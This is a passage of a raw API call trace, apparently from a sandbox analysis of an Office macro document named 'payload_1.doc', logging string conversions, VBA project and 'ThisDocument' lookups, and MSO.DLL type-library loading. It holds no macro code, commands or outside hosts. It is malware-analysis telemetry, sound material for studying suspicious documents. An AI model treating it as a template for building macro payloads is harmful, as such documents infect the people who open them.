(in: _Dst=0x2764b6692d0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0094.723] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0094.724] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=7, lpWideCharStr=0x2764ad3a7b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0094.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f3aa0, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.724] lstrlenA (lpString="Normal") returned 6 [0094.724] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0094.724] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=7, lpWideCharStr=0x2764ad3a7b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0094.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4b80, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.724] lstrlenA (lpString="Normal") returned 6 [0094.726] wcscpy_s (in: _Destination=0xb5690f4336, _SizeInWords=0x801, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0094.726] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z04612782e9") returned -23 [0094.726] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.726] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f2188 | out: ppvObject=0xb5690f2188*=0x0) returned 0x80004002 [0094.726] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.726] IUnknown:AddRef (This=0x276454c2ce0) returned 0x7 [0094.726] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f2188 | out: ppvObject=0xb5690f2188*=0x0) returned 0x80004002 [0094.726] IUnknown:Release (This=0x276454c2ce0) returned 0x6 [0094.726] IUnknown:AddRef (This=0x276454c2a20) returned 0x6 [0094.726] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f2188 | out: ppvObject=0xb5690f2188*=0x0) returned 0x80004002 [0094.726] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0094.727] wcsncpy_s (in: _Destination=0xb5690f1e50, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.727] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f1d80, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.727] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.727] wcsncpy_s (in: _Destination=0xb5690f1e50, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.727] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f1d80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.727] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.730] wcscpy_s (in: _Destination=0x2764b710d30, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0094.730] wcsncpy_s (in: _Destination=0xb5690f1e50, _SizeInWords=0x108, _Source="*\\Z04612782e9", _MaxCount=0x106 | out: _Destination="*\\Z04612782e9") returned 0x0 [0094.730] CharLowerBuffW (in: lpsz="*\\Z04612782e9", cchLength=0xd | out: lpsz="*\\z04612782e9") returned 0xd [0094.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z04612782e9", cchWideChar=14, lpMultiByteStr=0xb5690f1d80, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z04612782e9", lpUsedDefaultChar=0x0) returned 14 [0094.730] _wcsicmp (_String1="*\\Z04612782e9", _String2="*\\Z04612782e9") returned 0 [0094.730] wcsncpy_s (in: _Destination=0xb5690f1e90, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.730] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f1dc0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.730] wcscpy_s (in: _Destination=0x2764b54a1a0, _SizeInWords=0x804, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0094.730] _wfullpath (in: _Buffer=0xb5690f50b0, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop\\Normal") returned="C:\\Users\\FD1HVy\\Desktop\\Normal" [0094.730] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0094.730] SysStringByteLen (bstr="潎浲污") returned 0x6 [0094.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764ae3aed8, cbMultiByte=7, lpWideCharStr=0x2764ad3a7b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0094.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4a30, cbMultiByte=2043, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0094.730] lstrlenA (lpString="Normal") returned 6 [0094.731] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f5478, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27649978848 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27649978848*="캈븄翹") returned 0x0 [0094.731] IUnknown:Release (This=0x2764af387c8) returned 0x0 [0094.731] IsCharAlphaA (ch=84) returned 1 [0094.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f52d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.731] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f5290, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.732] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.732] lstrlenA (lpString="ThisDocument") returned 12 [0094.732] malloc (_Size=0x188) returned 0x2764997d820 [0094.732] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38668, ppTypeAttr=0xb5690f5270, pDummy=0x0 | out: ppTypeAttr=0xb5690f5270, pDummy=0x0) returned 0x0 [0094.732] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38668) returned 0x0 [0094.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f4f10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.732] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f5050, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.732] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.732] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763c48c360, cb=0x8) returned 0x2764b51e800 [0094.732] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3c00 [0094.732] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764afa3c00) returned 0x80 [0094.732] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b246000 [0094.732] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b2460c0 [0094.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f4f10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.732] CoCreateGuid (in: pguid=0xb5690f4c40 | out: pguid=0xb5690f4c40*(Data1=0x1159d675, Data2=0x11f1, Data3=0x4f88, Data4=([0]=0x98, [1]=0x97, [2]=0xba, [3]=0x7f, [4]=0x0, [5]=0xdd, [6]=0xc8, [7]=0x57))) returned 0x0 [0094.732] CoCreateGuid (in: pguid=0xb5690f4c50 | out: pguid=0xb5690f4c50*(Data1=0xce38bc5d, Data2=0x344a, Data3=0x4d24, Data4=([0]=0xb5, [1]=0x78, [2]=0xc1, [3]=0x8f, [4]=0xfe, [5]=0xce, [6]=0x65, [7]=0x41))) returned 0x0 [0094.732] WideCharToMultiByte (in: CodePage=0x3a4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0xb5690f4c60, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0094.733] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.733] GetLocalTime (in: lpSystemTime=0xb5690f4b38 | out: lpSystemTime=0xb5690f4b38*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x171)) [0094.733] _ultow_s (in: _Value=0x612782e9, _Buffer=0x2764b1d0724, _BufferCount=0x9, _Radix=16 | out: _Buffer="612782e9") returned 0x0 [0094.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="05612782e9", cchWideChar=11, lpMultiByteStr=0xb5690f4ad0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="05612782e9", lpUsedDefaultChar=0x0) returned 11 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x170) returned 0x2764b677620 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x50) returned 0x2764b159a50 [0094.733] strcpy_s (in: _Dst=0x2764b6692e0, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0094.733] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763a17cbc0, cb=0x68) returned 0x276452022f0 [0094.733] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.733] wcscpy_s (in: _Destination=0x2764b1d0738, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0094.733] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.733] wcscpy_s (in: _Destination=0x2764b1d0758, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0094.733] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764aea1fc0, cb=0x12) returned 0x2764b178ff0 [0094.733] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764aea1ec0, cb=0x6) returned 0x2764b51e540 [0094.733] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="ThisDocument") returned 0x409e3c [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f8e80 [0094.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b159bd0) [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a150 [0094.733] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad3a150, cb=0x5c) returned 0x27645202c90 [0094.733] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f8e80) [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b6fd910 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3aae0 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b1792d0 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa39c0 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51e8d0 [0094.733] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51e640 [0094.733] wcsncpy_s (in: _Destination=0xb5690f4990, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.733] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f48c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.733] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x688) returned 0x27644ee3350 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa2b20 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2764b407ee0 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a4b0 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51e8a0 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764b51e810 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a930 [0094.734] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa3c90 [0094.734] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="_Evaluate") returned 0x40d918 [0094.734] strcpy_s (in: _Dst=0xb5690f4b60, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0094.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f4b60, cbMultiByte=10, lpWideCharStr=0xb5690f49b0, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0094.734] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.734] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f4a80, pBstrLibName=0xb5690f49b0 | out: pfName=0xb5690f4a80*=0, pBstrLibName=0xb5690f49b0) returned 0x0 [0094.734] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.734] IUnknown:AddRef (This=0x276454c2ce0) returned 0x8 [0094.734] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f4a80, pBstrLibName=0xb5690f49b0 | out: pfName=0xb5690f4a80*=0, pBstrLibName=0xb5690f49b0) returned 0x0 [0094.734] IUnknown:Release (This=0x276454c2ce0) returned 0x7 [0094.734] IUnknown:AddRef (This=0x276454c2a20) returned 0x6 [0094.734] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="_Evaluate", lHashVal=0x40d918, pfName=0xb5690f4a80, pBstrLibName=0xb5690f49b0 | out: pfName=0xb5690f4a80*=0, pBstrLibName=0xb5690f49b0) returned 0x0 [0094.734] IUnknown:Release (This=0x276454c2a20) returned 0x5 [0094.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a600 [0094.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad3a6f0 [0094.737] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b51e8d0, cb=0x20) returned 0x2764ad3a3f0 [0094.737] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b51e8a0, cb=0x28) returned 0x2764ad3ab10 [0094.737] wcsncpy_s (in: _Destination=0xb5690f4bd0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.737] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f4b00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.737] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.737] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0094.738] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x420) returned 0x27645149870 [0094.738] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645149870) [0094.740] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xb5690f5538*=0x0 | out: pptlib=0xb5690f5538*=0x276454c16e0) returned 0x0 [0094.740] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xb5690f43c8*=0x0 | out: pptlib=0xb5690f43c8*=0x276454c16e0) returned 0x0 [0094.740] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x690f43e8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2763a0fb730 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2763a0fb730*="ꢠ좶翹") returned 0x0 [0094.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xb5690f42d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0094.740] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0094.740] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f42a8 | out: ppvObject=0xb5690f42a8*=0x0) returned 0x80004002 [0094.740] GetLocalTime (in: lpSystemTime=0xb5690f4150 | out: lpSystemTime=0xb5690f4150*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x171)) [0094.740] wcsncpy_s (in: _Destination=0xb5690f3e00, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0094.740] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0094.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f3d30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0094.741] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0094.741] GetLocalTime (in: lpSystemTime=0xb5690f3ff0 | out: lpSystemTime=0xb5690f3ff0*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x2, wSecond=0x31, wMilliseconds=0x171)) [0094.741] wcsncpy_s (in: _Destination=0xb5690f3ca0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0094.741] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0094.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3bd0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0094.741] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0094.741] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0094.741] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f41d8 | out: ppvObject=0xb5690f41d8*=0x0) returned 0x80004002 [0094.741] ITypeLib:RemoteGetLibAttr (in: This=0x276454c16e0, ppTLibAttr=0xb5690f41d0, pDummy=0xb5690f41d8 | out: ppTLibAttr=0xb5690f41d0, pDummy=0xb5690f41d8*=0x0) returned 0x0 [0094.741] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f41c8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000 | out: pBstrName=0xb5690f41c8*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000) returned 0x0 [0094.741] StringFromGUID2 (in: rguid=0x2764ae3aed0*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0xb5690f41f0, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0094.741] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f413a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0094.741] _ultow_s (in: _Value=0x8, _Buffer=0xb5690f413e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0094.741] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f4142, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b665558, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b66555e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b6655aa, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b6655b8, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b665638, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0094.741] ITypeLib:LocalReleaseTLibAttr (This=0x276454c16e0) returned 0x0 [0094.741] wcscpy_s (in: _Destination=0x2764b1d0778, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0094.741] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x690f42e8, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0094.742] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0094.742] strcpy_s (in: _Dst=0xb5690f40e0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0094.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f40e0, cbMultiByte=7, lpWideCharStr=0xb5690f3f30, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0094.742] IUnknown:AddRef (This=0x276454bf8a0) returned 0x4 [0094.742] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f4000, pBstrLibName=0xb5690f3f30 | out: pfName=0xb5690f4000*=0, pBstrLibName=0xb5690f3f30) returned 0x0 [0094.742] IUnknown:Release (This=0x276454bf8a0) returned 0x3 [0094.742] IUnknown:AddRef (This=0x276454c2ce0) returned 0xa 